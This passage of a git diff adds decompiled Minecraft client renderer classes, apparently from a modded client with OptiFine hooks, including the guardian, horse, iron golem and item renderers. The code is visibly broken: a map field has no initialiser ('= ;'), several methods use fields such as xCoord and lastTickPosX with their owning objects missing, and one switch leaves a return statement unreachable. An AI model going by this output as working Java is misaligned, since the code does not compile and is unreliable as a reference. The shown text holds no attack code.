+    GlStateManager.translate(0.0F, 0.1875F, 0.0F);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityGiantZombie p_77041_1_, float p_77041_2_)
+  {
+    GlStateManager.scale(scale, scale, scale);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityGiantZombie p_110775_1_)
+  {
+    return zombieTextures;
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    preRenderCallback((EntityGiantZombie)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityGiantZombie)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderGuardian.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderGuardian.java
new file mode 100644
index 0000000..a6098c0
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderGuardian.java
@@ -0,0 +1,231 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelGuardian;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.culling.ICamera;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityGuardian;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+import org.lwjgl.opengl.GL11;
+
+public class RenderGuardian extends RenderLiving
+{
+  private static final ResourceLocation field_177114_e = new ResourceLocation("textures/entity/guardian.png");
+  private static final ResourceLocation field_177116_j = new ResourceLocation("textures/entity/guardian_elder.png");
+  private static final ResourceLocation field_177117_k = new ResourceLocation("textures/entity/guardian_beam.png");
+  int field_177115_a;
+  private static final String __OBFID = "CL_00002443";
+  
+  public RenderGuardian(RenderManager p_i46171_1_)
+  {
+    super(p_i46171_1_, new ModelGuardian(), 0.5F);
+    field_177115_a = ((ModelGuardian)mainModel).func_178706_a();
+  }
+  
+  public boolean func_177113_a(EntityGuardian p_177113_1_, ICamera p_177113_2_, double p_177113_3_, double p_177113_5_, double p_177113_7_)
+  {
+    if (super.func_177104_a(p_177113_1_, p_177113_2_, p_177113_3_, p_177113_5_, p_177113_7_))
+    {
+      return true;
+    }
+    
+
+    if (p_177113_1_.func_175474_cn())
+    {
+      EntityLivingBase var9 = p_177113_1_.func_175466_co();
+      
+      if (var9 != null)
+      {
+        Vec3 var10 = func_177110_a(var9, height * 0.5D, 1.0F);
+        Vec3 var11 = func_177110_a(p_177113_1_, p_177113_1_.getEyeHeight(), 1.0F);
+        
+        if (p_177113_2_.isBoundingBoxInFrustum(net.minecraft.util.AxisAlignedBB.fromBounds(xCoord, yCoord, zCoord, xCoord, yCoord, zCoord)))
+        {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+
+  private Vec3 func_177110_a(EntityLivingBase p_177110_1_, double p_177110_2_, float p_177110_4_)
+  {
+    double var5 = lastTickPosX + (posX - lastTickPosX) * p_177110_4_;
+    double var7 = p_177110_2_ + lastTickPosY + (posY - lastTickPosY) * p_177110_4_;
+    double var9 = lastTickPosZ + (posZ - lastTickPosZ) * p_177110_4_;
+    return new Vec3(var5, var7, var9);
+  }
+  
+  public void func_177109_a(EntityGuardian p_177109_1_, double p_177109_2_, double p_177109_4_, double p_177109_6_, float p_177109_8_, float p_177109_9_)
+  {
+    if (field_177115_a != ((ModelGuardian)mainModel).func_178706_a())
+    {
+      mainModel = new ModelGuardian();
+      field_177115_a = ((ModelGuardian)mainModel).func_178706_a();
+    }
+    
+    super.doRender(p_177109_1_, p_177109_2_, p_177109_4_, p_177109_6_, p_177109_8_, p_177109_9_);
+    EntityLivingBase var10 = p_177109_1_.func_175466_co();
+    
+    if (var10 != null)
+    {
+      float var11 = p_177109_1_.func_175477_p(p_177109_9_);
+      Tessellator var12 = Tessellator.getInstance();
+      WorldRenderer var13 = var12.getWorldRenderer();
+      bindTexture(field_177117_k);
+      GL11.glTexParameterf(3553, 10242, 10497.0F);
+      GL11.glTexParameterf(3553, 10243, 10497.0F);
+      GlStateManager.disableLighting();
+      GlStateManager.disableCull();
+      GlStateManager.disableBlend();
+      GlStateManager.depthMask(true);
+      float var14 = 240.0F;
+      OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var14, var14);
+      GlStateManager.tryBlendFuncSeparate(770, 1, 1, 0);
+      float var15 = (float)worldObj.getTotalWorldTime() + p_177109_9_;
+      float var16 = var15 * 0.5F % 1.0F;
+      float var17 = p_177109_1_.getEyeHeight();
+      GlStateManager.pushMatrix();
+      GlStateManager.translate((float)p_177109_2_, (float)p_177109_4_ + var17, (float)p_177109_6_);
+      Vec3 var18 = func_177110_a(var10, height * 0.5D, p_177109_9_);
+      Vec3 var19 = func_177110_a(p_177109_1_, var17, p_177109_9_);
+      Vec3 var20 = var18.subtract(var19);
+      double var21 = var20.lengthVector() + 1.0D;
+      var20 = var20.normalize();
+      float var23 = (float)Math.acos(yCoord);
+      float var24 = (float)Math.atan2(zCoord, xCoord);
+      GlStateManager.rotate((1.5707964F + -var24) * 57.295776F, 0.0F, 1.0F, 0.0F);
+      GlStateManager.rotate(var23 * 57.295776F, 1.0F, 0.0F, 0.0F);
+      byte var25 = 1;
+      double var26 = var15 * 0.05D * (1.0D - (var25 & 0x1) * 2.5D);
+      var13.startDrawingQuads();
+      float var28 = var11 * var11;
+      var13.func_178961_b(64 + (int)(var28 * 240.0F), 32 + (int)(var28 * 192.0F), 128 - (int)(var28 * 64.0F), 255);
+      double var29 = var25 * 0.2D;
+      double var31 = var29 * 1.41D;
+      double var33 = 0.0D + Math.cos(var26 + 2.356194490192345D) * var31;
+      double var35 = 0.0D + Math.sin(var26 + 2.356194490192345D) * var31;
+      double var37 = 0.0D + Math.cos(var26 + 0.7853981633974483D) * var31;
+      double var39 = 0.0D + Math.sin(var26 + 0.7853981633974483D) * var31;
+      double var41 = 0.0D + Math.cos(var26 + 3.9269908169872414D) * var31;
+      double var43 = 0.0D + Math.sin(var26 + 3.9269908169872414D) * var31;
+      double var45 = 0.0D + Math.cos(var26 + 5.497787143782138D) * var31;
+      double var47 = 0.0D + Math.sin(var26 + 5.497787143782138D) * var31;
+      double var49 = 0.0D + Math.cos(var26 + 3.141592653589793D) * var29;
+      double var51 = 0.0D + Math.sin(var26 + 3.141592653589793D) * var29;
+      double var53 = 0.0D + Math.cos(var26 + 0.0D) * var29;
+      double var55 = 0.0D + Math.sin(var26 + 0.0D) * var29;
+      double var57 = 0.0D + Math.cos(var26 + 1.5707963267948966D) * var29;
+      double var59 = 0.0D + Math.sin(var26 + 1.5707963267948966D) * var29;
+      double var61 = 0.0D + Math.cos(var26 + 4.71238898038469D) * var29;
+      double var63 = 0.0D + Math.sin(var26 + 4.71238898038469D) * var29;
+      double var67 = 0.0D;
+      double var69 = 0.4999D;
+      double var71 = -1.0F + var16;
+      double var73 = var21 * (0.5D / var29) + var71;
+      var13.addVertexWithUV(var49, var21, var51, var69, var73);
+      var13.addVertexWithUV(var49, 0.0D, var51, var69, var71);
+      var13.addVertexWithUV(var53, 0.0D, var55, var67, var71);
+      var13.addVertexWithUV(var53, var21, var55, var67, var73);
+      var13.addVertexWithUV(var57, var21, var59, var69, var73);
+      var13.addVertexWithUV(var57, 0.0D, var59, var69, var71);
+      var13.addVertexWithUV(var61, 0.0D, var63, var67, var71);
+      var13.addVertexWithUV(var61, var21, var63, var67, var73);
+      double var75 = 0.0D;
+      
+      if (ticksExisted % 2 == 0)
+      {
+        var75 = 0.5D;
+      }
+      
+      var13.addVertexWithUV(var33, var21, var35, 0.5D, var75 + 0.5D);
+      var13.addVertexWithUV(var37, var21, var39, 1.0D, var75 + 0.5D);
+      var13.addVertexWithUV(var45, var21, var47, 1.0D, var75);
+      var13.addVertexWithUV(var41, var21, var43, 0.5D, var75);
+      var12.draw();
+      GlStateManager.popMatrix();
+    }
+  }
+  
+  protected void func_177112_a(EntityGuardian p_177112_1_, float p_177112_2_)
+  {
+    if (p_177112_1_.func_175461_cl())
+    {
+      GlStateManager.scale(2.35F, 2.35F, 2.35F);
+    }
+  }
+  
+  protected ResourceLocation func_177111_a(EntityGuardian p_177111_1_)
+  {
+    return p_177111_1_.func_175461_cl() ? field_177116_j : field_177114_e;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLiving p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_177109_a((EntityGuardian)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  public boolean func_177104_a(EntityLiving p_177104_1_, ICamera p_177104_2_, double p_177104_3_, double p_177104_5_, double p_177104_7_)
+  {
+    return func_177113_a((EntityGuardian)p_177104_1_, p_177104_2_, p_177104_3_, p_177104_5_, p_177104_7_);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    func_177112_a((EntityGuardian)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLivingBase p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_177109_a((EntityGuardian)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_177111_a((EntityGuardian)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_177109_a((EntityGuardian)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  public boolean func_177071_a(Entity p_177071_1_, ICamera p_177071_2_, double p_177071_3_, double p_177071_5_, double p_177071_7_)
+  {
+    return func_177113_a((EntityGuardian)p_177071_1_, p_177071_2_, p_177071_3_, p_177071_5_, p_177071_7_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderHorse.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderHorse.java
new file mode 100644
index 0000000..8594c99
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderHorse.java
@@ -0,0 +1,115 @@
+package net.minecraft.client.renderer.entity;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.model.ModelHorse;
+import net.minecraft.client.renderer.texture.LayeredTexture;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderHorse extends RenderLiving
+{
+  private static final Map field_110852_a = ;
+  private static final ResourceLocation whiteHorseTextures = new ResourceLocation("textures/entity/horse/horse_white.png");
+  private static final ResourceLocation muleTextures = new ResourceLocation("textures/entity/horse/mule.png");
+  private static final ResourceLocation donkeyTextures = new ResourceLocation("textures/entity/horse/donkey.png");
+  private static final ResourceLocation zombieHorseTextures = new ResourceLocation("textures/entity/horse/horse_zombie.png");
+  private static final ResourceLocation skeletonHorseTextures = new ResourceLocation("textures/entity/horse/horse_skeleton.png");
+  private static final String __OBFID = "CL_00001000";
+  
+  public RenderHorse(RenderManager p_i46170_1_, ModelHorse p_i46170_2_, float p_i46170_3_)
+  {
+    super(p_i46170_1_, p_i46170_2_, p_i46170_3_);
+  }
+  
+  protected void func_180580_a(EntityHorse p_180580_1_, float p_180580_2_)
+  {
+    float var3 = 1.0F;
+    int var4 = p_180580_1_.getHorseType();
+    
+    if (var4 == 1)
+    {
+      var3 *= 0.87F;
+    }
+    else if (var4 == 2)
+    {
+      var3 *= 0.92F;
+    }
+    
+    net.minecraft.client.renderer.GlStateManager.scale(var3, var3, var3);
+    super.preRenderCallback(p_180580_1_, p_180580_2_);
+  }
+  
+  protected ResourceLocation func_180581_a(EntityHorse p_180581_1_)
+  {
+    if (!p_180581_1_.func_110239_cn())
+    {
+      switch (p_180581_1_.getHorseType())
+      {
+      case 0: 
+      default: 
+        return whiteHorseTextures;
+      
+      case 1: 
+        return donkeyTextures;
+      
+      case 2: 
+        return muleTextures;
+      
+      case 3: 
+        return zombieHorseTextures;
+      }
+      
+      return skeletonHorseTextures;
+    }
+    
+
+
+    return func_110848_b(p_180581_1_);
+  }
+  
+
+  private ResourceLocation func_110848_b(EntityHorse p_110848_1_)
+  {
+    String var2 = p_110848_1_.getHorseTexture();
+    
+    if (!p_110848_1_.func_175507_cI())
+    {
+      return null;
+    }
+    
+
+    ResourceLocation var3 = (ResourceLocation)field_110852_a.get(var2);
+    
+    if (var3 == null)
+    {
+      var3 = new ResourceLocation(var2);
+      Minecraft.getMinecraft().getTextureManager().loadTexture(var3, new LayeredTexture(p_110848_1_.getVariantTexturePaths()));
+      field_110852_a.put(var2, var3);
+    }
+    
+    return var3;
+  }
+  
+
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    func_180580_a((EntityHorse)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180581_a((EntityHorse)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderIronGolem.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderIronGolem.java
new file mode 100644
index 0000000..87decb4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderIronGolem.java
@@ -0,0 +1,55 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelIronGolem;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerIronGolemFlower;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityIronGolem;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderIronGolem extends RenderLiving
+{
+  private static final ResourceLocation ironGolemTextures = new ResourceLocation("textures/entity/iron_golem.png");
+  private static final String __OBFID = "CL_00001031";
+  
+  public RenderIronGolem(RenderManager p_i46133_1_)
+  {
+    super(p_i46133_1_, new ModelIronGolem(), 0.5F);
+    addLayer(new LayerIronGolemFlower(this));
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityIronGolem p_110775_1_)
+  {
+    return ironGolemTextures;
+  }
+  
+  protected void func_180588_a(EntityIronGolem p_180588_1_, float p_180588_2_, float p_180588_3_, float p_180588_4_)
+  {
+    super.rotateCorpse(p_180588_1_, p_180588_2_, p_180588_3_, p_180588_4_);
+    
+    if (limbSwingAmount >= 0.01D)
+    {
+      float var5 = 13.0F;
+      float var6 = limbSwing - limbSwingAmount * (1.0F - p_180588_4_) + 6.0F;
+      float var7 = (Math.abs(var6 % var5 - var5 * 0.5F) - var5 * 0.25F) / (var5 * 0.25F);
+      GlStateManager.rotate(6.5F * var7, 0.0F, 0.0F, 1.0F);
+    }
+  }
+  
+  protected void rotateCorpse(EntityLivingBase p_77043_1_, float p_77043_2_, float p_77043_3_, float p_77043_4_)
+  {
+    func_180588_a((EntityIronGolem)p_77043_1_, p_77043_2_, p_77043_3_, p_77043_4_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityIronGolem)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderItem.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderItem.java
new file mode 100644
index 0000000..91d2772
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderItem.java
@@ -0,0 +1,1273 @@
+package net.minecraft.client.renderer.entity;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.concurrent.Callable;
+import javax.vecmath.Vector3f;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDirt.DirtType;
+import net.minecraft.block.BlockDoublePlant.EnumPlantType;
+import net.minecraft.block.BlockFlower.EnumFlowerType;
+import net.minecraft.block.BlockHugeMushroom.EnumType;
+import net.minecraft.block.BlockPlanks.EnumType;
+import net.minecraft.block.BlockPrismarine.EnumType;
+import net.minecraft.block.BlockQuartz.EnumType;
+import net.minecraft.block.BlockRedSandstone.EnumType;
+import net.minecraft.block.BlockSand.EnumType;
+import net.minecraft.block.BlockSandStone.EnumType;
+import net.minecraft.block.BlockSilverfish.EnumType;
+import net.minecraft.block.BlockStone.EnumType;
+import net.minecraft.block.BlockStoneBrick.EnumType;
+import net.minecraft.block.BlockStoneSlab.EnumType;
+import net.minecraft.block.BlockStoneSlabNew.EnumType;
+import net.minecraft.block.BlockTallGrass.EnumType;
+import net.minecraft.block.BlockWall.EnumType;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.ItemMeshDefinition;
+import net.minecraft.client.renderer.ItemModelMesher;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.renderer.block.model.ItemCameraTransforms;
+import net.minecraft.client.renderer.block.model.ItemCameraTransforms.TransformType;
+import net.minecraft.client.renderer.block.model.ItemTransformVec3f;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.renderer.tileentity.TileEntityRendererChestHelper;
+import net.minecraft.client.renderer.vertex.DefaultVertexFormats;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.client.resources.model.ModelManager;
+import net.minecraft.client.resources.model.ModelResourceLocation;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemFishFood.FishType;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3i;
+import optifine.Config;
+import optifine.CustomColors;
+import optifine.CustomItems;
+import optifine.Reflector;
+import optifine.ReflectorClass;
+import optifine.ReflectorMethod;
+
+public class RenderItem implements net.minecraft.client.resources.IResourceManagerReloadListener
+{
+  private static final ResourceLocation RES_ITEM_GLINT = new ResourceLocation("textures/misc/enchanted_item_glint.png");
+  private boolean field_175058_l = true;
+  
+  public float zLevel;
+  
+  private final ItemModelMesher itemModelMesher;
+  private final TextureManager field_175057_n;
+  public static float field_175055_b = 0.0F;
+  public static float field_175056_c = 0.0F;
+  public static float field_175053_d = 0.0F;
+  public static float field_175054_e = 0.0F;
+  public static float field_175051_f = 0.0F;
+  public static float field_175052_g = 0.0F;
+  public static float field_175061_h = 0.0F;
+  public static float field_175062_i = 0.0F;
+  public static float field_175060_j = 0.0F;
+  private static final String __OBFID = "CL_00001003";
+  private ModelResourceLocation modelLocation = null;
+  
+  public RenderItem(TextureManager p_i46165_1_, ModelManager p_i46165_2_)
+  {
+    field_175057_n = p_i46165_1_;
+    Config.setModelManager(p_i46165_2_);
+    
+    if (Reflector.ItemModelMesherForge_Constructor.exists())
+    {
+      itemModelMesher = ((ItemModelMesher)Reflector.newInstance(Reflector.ItemModelMesherForge_Constructor, new Object[] { p_i46165_2_ }));
+    }
+    else
+    {
+      itemModelMesher = new ItemModelMesher(p_i46165_2_);
+    }
+    
+    registerItems();
+  }
+  
+  public void func_175039_a(boolean p_175039_1_)
+  {
+    field_175058_l = p_175039_1_;
+  }
+  
+  public ItemModelMesher getItemModelMesher()
+  {
+    return itemModelMesher;
+  }
+  
+  protected void registerItem(Item p_175048_1_, int p_175048_2_, String p_175048_3_)
+  {
+    itemModelMesher.register(p_175048_1_, p_175048_2_, new ModelResourceLocation(p_175048_3_, "inventory"));
+  }
+  
+  protected void registerBlock(Block p_175029_1_, int p_175029_2_, String p_175029_3_)
+  {
+    registerItem(Item.getItemFromBlock(p_175029_1_), p_175029_2_, p_175029_3_);
+  }
+  
+  private void registerBlock(Block p_175031_1_, String p_175031_2_)
+  {
+    registerBlock(p_175031_1_, 0, p_175031_2_);
+  }
+  
+  private void registerItem(Item p_175047_1_, String p_175047_2_)
+  {
+    registerItem(p_175047_1_, 0, p_175047_2_);
+  }
+  
+  private void func_175036_a(IBakedModel p_175036_1_, ItemStack p_175036_2_)
+  {
+    func_175045_a(p_175036_1_, -1, p_175036_2_);
+  }
+  
+  public void func_175035_a(IBakedModel p_175035_1_, int p_175035_2_)
+  {
+    func_175045_a(p_175035_1_, p_175035_2_, null);
+  }
+  
+  private void func_175045_a(IBakedModel p_175045_1_, int p_175045_2_, ItemStack p_175045_3_)
+  {
+    Tessellator var4 = Tessellator.getInstance();
+    WorldRenderer var5 = var4.getWorldRenderer();
+    boolean renderTextureMap = Minecraft.getMinecraft().getTextureMapBlocks().isTextureBound();
+    boolean multiTexture = (Config.isMultiTexture()) && (renderTextureMap);
+    
+    if (multiTexture)
+    {
+      var5.setBlockLayer(EnumWorldBlockLayer.SOLID);
+    }
+    
+    var5.startDrawingQuads();
+    var5.setVertexFormat(DefaultVertexFormats.field_176599_b);
+    EnumFacing[] var6 = EnumFacing.VALUES;
+    int var7 = var6.length;
+    
+    for (int var8 = 0; var8 < var7; var8++)
+    {
+      EnumFacing var9 = var6[var8];
+      func_175032_a(var5, p_175045_1_.func_177551_a(var9), p_175045_2_, p_175045_3_);
+    }
+    
+    func_175032_a(var5, p_175045_1_.func_177550_a(), p_175045_2_, p_175045_3_);
+    var4.draw();
+    
+    if (multiTexture)
+    {
+      var5.setBlockLayer(null);
+      GlStateManager.bindCurrentTexture();
+    }
+  }
+  
+  public void func_180454_a(ItemStack p_180454_1_, IBakedModel p_180454_2_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.scale(0.5F, 0.5F, 0.5F);
+    
+    if (p_180454_2_.isBuiltInRenderer())
+    {
+      GlStateManager.rotate(180.0F, 0.0F, 1.0F, 0.0F);
+      GlStateManager.translate(-0.5F, -0.5F, -0.5F);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.enableRescaleNormal();
+      TileEntityRendererChestHelper.instance.renderByItem(p_180454_1_);
+    }
+    else
+    {
+      if (Config.isCustomItems())
+      {
+        p_180454_2_ = CustomItems.getCustomItemModel(p_180454_1_, p_180454_2_, modelLocation);
+      }
+      
+      GlStateManager.translate(-0.5F, -0.5F, -0.5F);
+      func_175036_a(p_180454_2_, p_180454_1_);
+      
+      if ((p_180454_1_.hasEffect()) && ((!Config.isCustomItems()) || (!CustomItems.renderCustomEffect(this, p_180454_1_, p_180454_2_))))
+      {
+        renderEffect(p_180454_2_);
+      }
+    }
+    
+    GlStateManager.popMatrix();
+  }
+  
+  private void renderEffect(IBakedModel p_180451_1_)
+  {
+    if ((!Config.isCustomItems()) || (CustomItems.isUseGlint()))
+    {
+      GlStateManager.depthMask(false);
+      GlStateManager.depthFunc(514);
+      GlStateManager.disableLighting();
+      GlStateManager.blendFunc(768, 1);
+      field_175057_n.bindTexture(RES_ITEM_GLINT);
+      GlStateManager.matrixMode(5890);
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(8.0F, 8.0F, 8.0F);
+      float var2 = (float)(Minecraft.getSystemTime() % 3000L) / 3000.0F / 8.0F;
+      GlStateManager.translate(var2, 0.0F, 0.0F);
+      GlStateManager.rotate(-50.0F, 0.0F, 0.0F, 1.0F);
+      func_175035_a(p_180451_1_, -8372020);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(8.0F, 8.0F, 8.0F);
+      float var3 = (float)(Minecraft.getSystemTime() % 4873L) / 4873.0F / 8.0F;
+      GlStateManager.translate(-var3, 0.0F, 0.0F);
+      GlStateManager.rotate(10.0F, 0.0F, 0.0F, 1.0F);
+      func_175035_a(p_180451_1_, -8372020);
+      GlStateManager.popMatrix();
+      GlStateManager.matrixMode(5888);
+      GlStateManager.blendFunc(770, 771);
+      GlStateManager.enableLighting();
+      GlStateManager.depthFunc(515);
+      GlStateManager.depthMask(true);
+      field_175057_n.bindTexture(TextureMap.locationBlocksTexture);
+    }
+  }
+  
+  private void func_175038_a(WorldRenderer p_175038_1_, BakedQuad p_175038_2_)
+  {
+    Vec3i var3 = p_175038_2_.getFace().getDirectionVec();
+    p_175038_1_.func_178975_e(var3.getX(), var3.getY(), var3.getZ());
+  }
+  
+  private void func_175033_a(WorldRenderer p_175033_1_, BakedQuad p_175033_2_, int p_175033_3_)
+  {
+    if (p_175033_1_.isMultiTexture())
+    {
+      p_175033_1_.func_178981_a(p_175033_2_.getVertexDataSingle());
+      p_175033_1_.putSprite(p_175033_2_.getSprite());
+    }
+    else
+    {
+      p_175033_1_.func_178981_a(p_175033_2_.func_178209_a());
+    }
+    
+    if ((Reflector.IColoredBakedQuad.exists()) && (Reflector.IColoredBakedQuad.isInstance(p_175033_2_)))
+    {
+      forgeHooksClient_putQuadColor(p_175033_1_, p_175033_2_, p_175033_3_);
+    }
+    else
+    {
+      p_175033_1_.func_178968_d(p_175033_3_);
+    }
+    
+    func_175038_a(p_175033_1_, p_175033_2_);
+  }
+  
+  private void func_175032_a(WorldRenderer p_175032_1_, List p_175032_2_, int p_175032_3_, ItemStack p_175032_4_)
+  {
+    boolean var5 = (p_175032_3_ == -1) && (p_175032_4_ != null);
+    
+    BakedQuad var7;
+    int var8;
+    for (Iterator var6 = p_175032_2_.iterator(); var6.hasNext(); func_175033_a(p_175032_1_, var7, var8))
+    {
+      var7 = (BakedQuad)var6.next();
+      var8 = p_175032_3_;
+      
+      if ((var5) && (var7.func_178212_b()))
+      {
+        var8 = p_175032_4_.getItem().getColorFromItemStack(p_175032_4_, var7.func_178211_c());
+        
+        if (Config.isCustomColors())
+        {
+          var8 = CustomColors.getColorFromItemStack(p_175032_4_, var7.func_178211_c(), var8);
+        }
+        
+        if (net.minecraft.client.renderer.EntityRenderer.anaglyphEnable)
+        {
+          var8 = net.minecraft.client.renderer.texture.TextureUtil.func_177054_c(var8);
+        }
+        
+        var8 |= 0xFF000000;
+      }
+    }
+  }
+  
+  public boolean func_175050_a(ItemStack p_175050_1_)
+  {
+    IBakedModel var2 = itemModelMesher.getItemModel(p_175050_1_);
+    return var2 == null ? false : var2.isAmbientOcclusionEnabled();
+  }
+  
+  private void func_175046_c(ItemStack p_175046_1_)
+  {
+    IBakedModel var2 = itemModelMesher.getItemModel(p_175046_1_);
+    Item var3 = p_175046_1_.getItem();
+    
+    if (var3 != null)
+    {
+      boolean var4 = var2.isAmbientOcclusionEnabled();
+      
+      if (!var4)
+      {
+        GlStateManager.scale(2.0F, 2.0F, 2.0F);
+      }
+      
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    }
+  }
+  
+  public void func_175043_b(ItemStack p_175043_1_)
+  {
+    IBakedModel var2 = itemModelMesher.getItemModel(p_175043_1_);
+    func_175040_a(p_175043_1_, var2, ItemCameraTransforms.TransformType.NONE);
+  }
+  
+  public void func_175049_a(ItemStack p_175049_1_, EntityLivingBase p_175049_2_, ItemCameraTransforms.TransformType p_175049_3_)
+  {
+    IBakedModel var4 = itemModelMesher.getItemModel(p_175049_1_);
+    
+    if ((p_175049_2_ instanceof EntityPlayer))
+    {
+      EntityPlayer var5 = (EntityPlayer)p_175049_2_;
+      Item var6 = p_175049_1_.getItem();
+      ModelResourceLocation var7 = null;
+      
+      if ((var6 == Items.fishing_rod) && (fishEntity != null))
+      {
+        var7 = new ModelResourceLocation("fishing_rod_cast", "inventory");
+      }
+      else if ((var6 == Items.bow) && (var5.getItemInUse() != null))
+      {
+        int var8 = p_175049_1_.getMaxItemUseDuration() - var5.getItemInUseCount();
+        
+        if (var8 >= 18)
+        {
+          var7 = new ModelResourceLocation("bow_pulling_2", "inventory");
+        }
+        else if (var8 > 13)
+        {
+          var7 = new ModelResourceLocation("bow_pulling_1", "inventory");
+        }
+        else if (var8 > 0)
+        {
+          var7 = new ModelResourceLocation("bow_pulling_0", "inventory");
+        }
+      }
+      else if (Reflector.ForgeItem_getModel.exists())
+      {
+        var7 = (ModelResourceLocation)Reflector.call(var6, Reflector.ForgeItem_getModel, new Object[] { p_175049_1_, var5, Integer.valueOf(var5.getItemInUseCount()) });
+      }
+      
+      modelLocation = var7;
+      
+      if (var7 != null)
+      {
+        var4 = itemModelMesher.getModelManager().getModel(var7);
+      }
+    }
+    
+    func_175040_a(p_175049_1_, var4, p_175049_3_);
+    modelLocation = null;
+  }
+  
+  protected void func_175034_a(ItemTransformVec3f p_175034_1_)
+  {
+    applyVanillaTransform(p_175034_1_);
+  }
+  
+  public static void applyVanillaTransform(ItemTransformVec3f p_175034_1_)
+  {
+    if (p_175034_1_ != ItemTransformVec3f.field_178366_a)
+    {
+      GlStateManager.translate(field_178365_c.x + field_175055_b, field_178365_c.y + field_175056_c, field_178365_c.z + field_175053_d);
